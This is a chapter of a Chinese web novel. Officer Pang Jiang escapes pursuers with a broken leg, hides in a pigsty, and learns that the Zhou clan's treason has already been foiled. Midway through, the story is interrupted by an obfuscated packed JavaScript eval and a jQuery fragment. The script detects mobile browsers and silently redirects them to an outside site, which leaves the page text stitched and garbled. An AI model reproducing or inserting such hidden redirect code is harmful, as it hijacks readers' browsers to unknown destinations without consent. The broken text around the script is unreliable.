他推开雕花窗,探头往下瞧了瞧,三楼……楼下是襄垣城大街,天色昏明,小摊贩还未进城,路上没有什么人。
没有话本里说的那样,花魁跳楼,楼下是一汪小池,她跳进池中,被男主英雄救美,成就佳话。
庞降咬牙,闭眼就往下跳。
他本欲潇洒些,在空中稳住身形,帅气下楼,好歹是练过些手段的人,定然不会被区区三楼给拦住!
可真到了空中,庞降三魂七魄顿时飞了两魂六魄,脑中什么都没剩下,只余尖叫。
待两魂六魄回来时,他的腿也折了。
楼上人发觉动静,闯进来趴在窗前往下看,惊道:“庞校尉?”
“快!庞校尉跑了!”
“快把他抓回来!”
庞降一听,冷汗直冒,哪里还顾得及自己摔断的腿,爬起来一蹦一跳的跑,路上逮着两个好心路人,伸手就是百两银票,叮嘱他们快些抬他走。
路人被手中的银票砸晃神,咂舌道:“公子这是?”
庞校尉匆忙胡诌道:“夜宿醉花楼,被家中恶妻寻来,只能从三楼一跃而下,摔断了腿,求求二位大哥速速带我离开。”
“若被那娘子人赃并获,我还不如死了。”
“快把我送去驿馆,快快快,事成之后再给你们一百两!”
路人听闻,顿时又惊又喜,白送上门的银两,这跟天上掉钱有什么区别?二话不说,抬着庞降就跑。
庞降本欲去长乐王暂居的驿馆寻柳絮,可思及刚才听闻的消息,他咬牙让他们转个方向,往周家所住的驿馆寻去。
不成功便成仁,他庞降这次要干番大事业!
身后的人追得极紧,急到抬着庞降跑的两个路人都忍不住咂舌,悄声道:“公子不会是入赘的吧?”
若非如此,岂会被穷追不舍?
庞降摁住两人的肩膀,急得不行,嚷道:“你们行不行啊!今儿要是被抓到,你们把银子统统还给我!”
两人一听,对视一眼,心气儿也上来了,怒道:“这襄垣城你还算是找对了人!”
“我两兄弟人送外号跑得快,那是真快!出了名的快!”
“公子今儿这百两银两,定然收不回去!”
两刻钟后,庞降绝望的倒在柴堆里,柴堆外满是猪哼哼唧唧的声音,四周便是恶臭。
猪圈外,抬着庞降走进来的两人正磨刀霍霍,白刀子进,红刀子出,随着一声撕心裂肺的猪鸣,案板上的猪不再挣扎。
门外,侍卫径直闯了进来,将此处统统围住,质问道:“方才是你们在跑?”
两人惊恐,连猪都顾不及,只跪在地上,诺诺道:“回大人,正是。”
“把人藏哪去了!交出来!”领头的举刀,冷声道:“不交,有你们好果子吃!”
两人听罢,更是被吓得不行,只仓促道:“哪来的人啊大人,我们凌晨去背猪回来,如今正杀了准备给魏郡守家送去。”
“郡守家要得新鲜,我们只能每天起大早去背。”
他匍匐在地上,满脸哀求,示意来人看向案板,上面躺着猪还热乎着,一看就刚死。
侍卫眯眼,“真没看见人?”身后,一众侍卫进门搜寻,将不大得院子翻了个遍。
“这……”两人对视一眼,垂头道:“倒是看见个威武的公子,摔断了腿,求我们帮他一把。”
“我们当时背着猪呢,郡守家不可耽误,哪能帮这忙?”
侍卫追问道:“人去哪了?”
“看样子,像是跑去了东城那边。”东城正是庞降一开始让他们去的方向。
搜完出来的侍卫摇着脑袋,没有人。领头的皱眉,收手撤兵,往东城追去。
见人都走得差不多了,两人才把庞降从猪圈里捞出来,陪笑道:“公子辛苦,公子辛苦,我兄弟二人这就把你送过去。”
庞降快被熏得两眼翻白,可还勉强明晓事理,知道他们是为了摆脱追兵,只问道:“他们走远了?要不我再躲一会儿?”
两兄弟对视一眼,被逗乐,“公子还真有意思。”
他们用布给庞降把脸蒙上,如今街上逐渐热闹起来,他们挑人多的地方走,隐没进人群里。
柳絮一夜搜寻无果,心知他们已然防备,变攻为守,暗道麻烦。不知道他们还在打什么歪主意。
文玄推门进屋,沉声道:“昨晚有人在长乐王驿馆附近来回巡视,不知意欲何为。”
柳絮抬眼,“能知道是谁的人么?”
文玄摇头,“人不多,似乎不是奔着长乐王府的人来的,更像是在那儿守着什么。”
“我已让杨天邑在周府驿馆附近守着,若有异动,即刻拿下。”
这边,两兄弟带庞降走了许久才到,虽庞降承诺加钱,可还是有些不好意思,但柳絮迟迟寻不到,他亦没办法。
他窘迫开口:“你们还要去郡守府送猪?不会耽搁吧?”
两男人笑道:“既是答应替公子办事,哪有办到一半就丢的道理?公子放心,少挣一份猪肉钱,不碍事。”
“我家婆娘孩子少吃几顿肉就回来了!”
庞降感动得两眼汪汪,只感慨道:“二位真乃义士也!”他定然不会让二位兄弟吃亏!
为了不耽搁人家,他主动让他们把他送到驿馆外的茶馆,便又送上两张百两银票,这才依依不舍同他们道别。
庞降想得很简单,周家的人现在肯定不敢回这里来,并且还会派人去长乐王府暂居的驿馆处等着他送上门。
他就在这儿等!等柳絮回过头来继续搜这里。
出于害怕,庞降紧紧捂好那两兄弟走前替自己包好的头巾,巾缝露出一丝缝隙,他锐利的眼眸就这么静静的观察驿馆门前的动静。
杨天邑站在楼上,抱剑冷眼打量着楼下那个怪异的人,垂眸打了个招呼,两人上前用捂住他的嘴,将其打晕,用麻袋套牢。
庞降被打晕前,脑袋极乱,只能想两件事情。
第一个是他们怎么发现他的?
第二个是完了完了完了完了完了……
手下人下手不重,庞降
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388611|167830||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
醒来时,腿上被固定好夹板,身侧早已不是恶心的猪/骚/味,而是淡淡的浆洗香。
他被打理干净,安置在一处厢房。看到柳絮带人走进来的那一刻,庞降两眼泛泪。
他从来没觉得自己如此的想念她。可这不到半日的功夫,他无时无刻不再想她。
他不由自主哽咽道:“柳校尉……”
文玄望了杨天邑一眼,杨天邑抬头望天,谁能知道这么怪异的一个人,竟然是庞校尉?
他以为是谁潜进来打探消息的卧底。
柳校尉给他递上一盏温茶,庞降自醒来后,都还没来得及喝上一口水,如今匆匆接过,一口饮尽,这才压了压嗓子。
他顾不得追究谁打的他,只焦急道:“周秋易那鳖孙儿劝周家家主和其他人开关门放突厥进城,柳校尉快去拦住他!!”
柳絮皱眉,“此言当真!”
庞降急得口齿不清,来不及交代自己怎么知道的,只发誓道:“千真万确!”
“昨夜城门大关,他们人手不足,抢夺世子不成,准备放突厥入关制造大乱,趁机占领河间城,同上京对峙!”
“就等着今早城门开后出城布局!”
柳絮扭头看向文玄,文玄沉声道:“快近午时,城门已开三个时辰有余。”
庞降一听,整个人像是泄了气的皮球一般,失力瘫在床上,囔囔道:“完了完了,一切都完了……”
杨天邑憋笑,文玄也压不住笑意。屋内的人笑作一团。
庞降有些怔愣,柳校尉怎能笑得出来?怎么还笑得出来?不是应该马上去制止周秋易那个混球儿吗?
柳絮将一张纸条递给庞降,笑道:“你叔父在城门开前早已递来消息,严明周氏一族的打算。”
“魏郡守索性诱其出城通敌,人赃俱获。”
至于上京来的周钰小将军,被柳絮亲自带人从醉花楼中救了出来,如今在隔壁修养着。
庞降捧着薄薄的信纸,纸上的墨迹极其眼熟,他眨了眨眼睛,似是不敢相信一般,不知过了多久,终于哭嚷出来,似乎要将这半日吃的苦通通发泄出来。
“叔父……叔父怎么不早点这么做啊,我又是断腿,又是被追,还去猪圈里睡了三刻钟,我…….我……”
柳絮笑道:“若非庞校尉孤勇,怎能吸引周氏所有的注意力,给你叔父制造机会?”
“若不是你率言真语,大胆揭露他们的恶行坏心,只怕你叔父也不敢站住来做这件事。”
“庞校尉,你很厉害,”柳絮由衷道。
待她走后,文玄和杨天邑亦围了上来,文玄检查庞降的断腿,杨天邑则道了一声歉,“庞校尉,凌晨的事儿,是我鲁莽得罪。”
谁能知道那浑身恶臭,脑袋上顶着一块麻布,鬼鬼祟祟的男人竟然是庞校尉?
庞降吸了吸鼻子,大方道:“你也是秉公办事,无碍。”
“只是.......”庞降有些犹豫。
“庞校尉但讲无妨,若是杨某能办到,定然竭力去办,”杨天邑回道。